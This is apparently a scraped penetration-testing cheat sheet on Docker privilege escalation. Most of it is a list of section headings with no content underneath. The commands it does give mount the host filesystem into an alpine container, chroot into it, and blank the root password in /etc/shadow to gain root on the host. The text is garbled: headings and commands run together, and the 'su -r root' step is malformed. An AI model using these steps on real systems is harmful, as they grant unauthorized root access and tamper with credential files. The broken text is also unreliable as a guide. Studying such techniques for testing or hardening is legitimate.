docker
List docker instances
docker image listdocker run -v /:/mnt --rm -it alpine chroot /mnt bash ORdocker run -v /:/mnt -it alpine
cd /mnt; vim etc/shadow #remove the root "x" and save it
exit # exit docker
su -r root # switch to root user in host osDocker architecture
Enumerate
ls -la ~/Docker socket
Write docker socket to escalate privileges
Docker Privilege Escalation Techniques
Check Docker Version
List Docker Images
List Docker Containers
Check User's Docker Group Membership
Locate Docker Socket
Download Docker Binary (If Not Available in Container)
List Running Containers via Docker Socket
Run a Privileged Container with Host Root Mount
Execute a Shell in the Privileged Container
Access Host Files from Within the Container
Run a Container with a Chroot into the Host
Check If Docker Socket is Writable
Using Docker Compose to List Running Containers
Using Docker Compose to Execute a Shell in a Container
Using Docker Compose to Check Service Configurations
Key Concepts:
Exploitation Techniques:
Important Considerations and Enhancements:
Last updated